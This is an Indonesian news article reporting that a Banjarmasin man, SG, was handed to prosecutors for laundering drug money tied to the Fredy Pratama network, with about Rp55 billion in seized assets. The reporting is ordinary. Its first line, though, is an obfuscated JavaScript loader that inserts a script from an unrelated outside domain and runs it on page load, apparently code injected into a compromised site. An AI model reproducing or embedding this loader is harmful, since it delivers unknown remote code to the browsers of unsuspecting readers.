(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pengembangan kasus Tindak Pidana Pencucian Uang (TPPU) narkoba jaringan Fredy Pratama alias Miming menyeret satu tersangka baru.
SG, lelaki paruh baya asal Kota Banjarmasin Provinsi Kalimantan Selatan (Kalsel) itu kini bernasib sama dengan Lian Silas (ayah Fredy Pratama) yang lebih dulu diproses hukum karena terlibat TPPU narkoba jaringan internasional Fredy Pratama.
Perkara SG pada Selasa (6/2/2024) siang, dilimpahkan atau memasuki Tahap II di Kejaksaan Negeri (Kejari) Banjarmasin.
Baca juga: Keluarga Santri Korban Pelecehan Seksual di Lingkungan Ponpes Minta ‘Predator Anak’ Dihukum
Proses pelimpahan itu dihadiri oleh perwakilan Penyidik Bareskrim Polri, Kejaksaan Agung, Kejari Banjarmasin, termasuk penasehat hukum terdakwa SG.
Setelah proses pelimpahan Tahap II selesai, SG dihadirkan ke hadapan awak media, ia nampak mengenakan rompi tahanan berwarna merah dan menutup mukanya dengan masker. Kedua tangannya juga dalam kondisi diborgol.
Kepala Kejari Banjarmasin, Dr Indah Laila MH yang memimpin press rilis mengatakan, proses Tahap II di Kejari Banjarmasin dilaksanakan setelah berkas perkara penyidikan yang dilakukan Bareskrim Polri dan telah dinyatakan lengkap oleh jaksa peneliti Kejaksaan Agung (Kejagung).
Baca juga: Merasakan Sensasi di Puncak Tahura Mandiangin Era Hindia Belanda
“Setelah dinyatakan lengkap, hari ini Kejari Banjarmasin menerima penyerahan tersangka dan barang bukti terhadap SG,” katanya.
Dalam perkara ini, kata Indah, tersangka diduga kuat terlibat dalam pencucian uang bisnis narkoba yang dijalankan DPO (Daftar Pencarian Orang) Fredy Pratama. Dimana sejak tahun 2016 SG disebut menerima aliran dana yang bersumber dari Fredy Pratama menggunakan rekening transfer atau tunai.
“SG menggunakan rekening atas nama pribadi dan rekening anak-anaknya yang dikuasai atau atas perintah SG,” ujar Kajari Banjarmasin.
Uang yang mengalir ke tersangka kata Indah tidak diserahkan atau dikirim langsung oleh Fredy Pratama, namun melalui orang-orang yang menjadi kaki tangan bandar narkoba kelas kakap itu.
Dalam perkara SG, barang bukti yang telah disita penyidik diantaranya 46 bidang tanah, dua bidang tanah dan bangunan yang tersebar di beberapa daerah di Kalsel. Kemudian ada sejumlah buku tabungan dan ATM dari sejumlah perbankan yang turut disita.
“Total aset disita sekitar Rp55 miliar,” kata Kajari Banjarmasin.
Baca juga: Kasus Penusukan Siswa SMAN 7 Banjarmasin Masih Mediasi, Keluarga Korban Minta Diadili
Adapun pasal yang disangkakan kepada SG yaitu pasal 3, 4, 5 dan 10 Undang-Undang Nomor 8 Tahun 2010 tentang Pencegahan dan Pemberantasan Tindak Pidana Pencucian Uang dan atau Pasal 137 huruf a, Undang-Undang No 35 Tahun 2009 tentang Narkotika jo Pasal 55 (1) ke 1 KUHP.
Dalam waktu 20 hari kedepan, kata Indah, tim jaksa penuntut umum akan menyusun surat dakwaan sebelum perkaranya dilimpahkan ke Pengadilan Negeri (PN) Banjarmasin untuk diadili.
Saat ini, tersangka SG untuk sementara ditahan di Lembaga Pemasyarakatan (Lapas) Kelas IIA Banjarmasin dengan status tahanan titipan Kejaksaan. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More
KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More
This website uses cookies.